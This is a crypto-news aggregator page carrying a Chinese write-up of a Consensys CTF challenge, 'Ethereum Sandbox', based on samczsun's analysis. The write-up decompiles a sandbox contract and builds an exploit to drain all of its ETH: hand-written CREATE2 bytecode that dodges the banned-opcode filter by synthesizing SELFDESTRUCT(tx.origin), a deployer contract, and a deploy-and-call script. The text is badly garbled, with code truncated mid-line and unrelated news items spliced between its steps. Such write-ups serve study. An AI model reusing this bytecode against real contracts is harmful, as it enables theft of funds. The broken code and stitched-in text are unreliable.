加密貨幣交易所 加密貨幣交易所
Ctrl+D 加密貨幣交易所
ads
首頁 > 波場 > Info

Consensys CTF - " 以太坊沙盒 "_CON:ION

Author:

Time:1900/1/1 0:00:00

基于samczsun的解析文章學習

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。

Celsius地址向Falcon X轉移超1萬枚WBTC,價值約合2.5億美元:金色財經報道,據PeckShield Alert監測,過去7小時內,標記為Celsius的地址向機構數字資產管理平臺Falcon X轉移了約10,628枚WBTC(約合2.5億美元)。

[2023/2/28 12:33:06]

首先是函數1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:

msg

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

Quantum Economics創始人:當前比特幣17%的回落是相當溫和的:瑞士一家金融機構SEBA進行的一項研究發現,目前的“錢包持有量表明,大型持有者對拋售行為不感興趣。”SEBA的調查結果顯示,16200美元是BTC的新支撐價格,而阻力為19500美元。Quantum Economics創始人Mati Greenspan也贊成SEBA的調查結果。他在推特上表示:“在目前的周期階段,(比特幣)17%的回落是相當溫和的。”當一位推特用戶問到是否會出現進一步的下跌時,Greenspan回答說:“我猜我們已經看到了最糟糕的情況。”(Bitcoin.com)[2020/11/28 22:25:31]

與set_array函數類似

再看函數3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

動態 | 1confirmation已在加密和區塊鏈領域進行17項投資,包括Coinbase、Cosmos:據theblockcrypto報道,加密風險投資公司1confirmation已將其基金配置在17項公開披露的投資上,涉及分散經營的金融、DApp平臺和交易公司等多個領域,包括Ethereum、Cosmos、Coinbase、Augur等。據悉,1confirmation由Coinbase早期員工Nick Tomaino于2017年創建。1confirmation已經為其首只基金籌集2600萬美元,目前正在為第二只基金籌集 6000萬美元。該公司已經從Peter Thiel、Chris Dixon 和 Marc Andreessen等投資者為其最初的種子基金籌集2600萬美元。[2019/4/29]

=>functionowners(uint256_key)publicviewreturns(address){require(msg

動態 | Finacle Trade Connect將幫助哈頓國家銀行將業務流程數字化:據bitcoinexchangeguide報道,斯里蘭卡哈頓國家銀行(HNB)選擇Finacle Trade Connect來監督區塊鏈驅動的跨境和國內貿易融資網絡。據悉,該銀行是斯里蘭卡領先的私營商業機構之一。Financle Trade Connect將協助該行業務流程的數字化,例如重要文件的認證和驗證,同時運營可信、共享和分布式網絡。[2019/3/16]

最后看函數4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

動態 | Mozilla和ThingsCon推出安全物聯網設備的認證標志:據thenextweb消息,Mozilla和ThingsCon推出了安全物聯網設備的認證標志。該標志將幫助消費者確定他們最新的“智能”家居小發明是否在設計時考慮到了隱私和安全性。[2018/12/6]

require(v7);}

可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:

要求調用該函數的msg

v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0

assert(v5<varg0

}

問題分析-2

現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。

首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義

簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。

故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。

先用opcode來寫runtimecode:

//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/10087897.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」

Tags:CONINTIONUINCONT幣cointiger如何提現Bitcoin VisionBabyPenguins

波場
PKEX交易平臺上幣活動火熱進行中。本活動已經合作50多個優質項目_PKE:okex官方網站網址

PKEX交易所成立于2017年,為全球超過300萬用戶提供數字資產交易服務,覆蓋:PC、H5、iOS/Android手機客戶端;支持英、韓、日、中、西班牙等10種語言。全球排名TOP30左右.

1900/1/1 0:00:00
從Meme Coin到月球:為何名人向D1R2投資數百萬美元_數字人:Mochimo

近期D1R2的上線吸引了許多名人排隊購買代幣,而在發行之前,名人們對該項目的認知度,使其迅速走紅。現在他們已經投入了數百萬美元,原因顯而易見.

1900/1/1 0:00:00
關于對UNI5L等15個ETF產品進行份額合并的公告_USD:UNI

尊敬的客戶: 由于當前部分ETF產品的單價均低于0.01USDT,為提高其價格變化的靈敏度,優化交易體驗,法拉第將在2021年6月22日20:00-23:00期間.

1900/1/1 0:00:00
幣圈小蝶:炒幣看k線真的有用嗎?_FIL:LEC價格

?炒幣看k線只是起到了輔助的作用,并不是說看K線圖就一定能賺錢。我們暫且把這些線圖分成:長周期線圖和短周期線圖.

1900/1/1 0:00:00
iTrustCapital 集成 Coinbase Custody 托管服務,以確保數字資產安全_BIT:bittorrent幣怎么樣

鏈聞消息,個人退休金賬戶投資平臺iTrustCapital已將CoinbaseCustody集成到其平臺中,來托管和保護iTrustCapital平臺上的數字資產.

1900/1/1 0:00:00
歐洲央行執委承諾數字歐元將保護消費者隱私_ETT:NETT價格

本文來自英國《金融時報》,原文作者:MartinArnoldOdaily?星球日報譯者?|念銀思唐據監管數字歐元發展的央行執委表示,推出數字歐元將促進消費者隱私.

1900/1/1 0:00:00
ads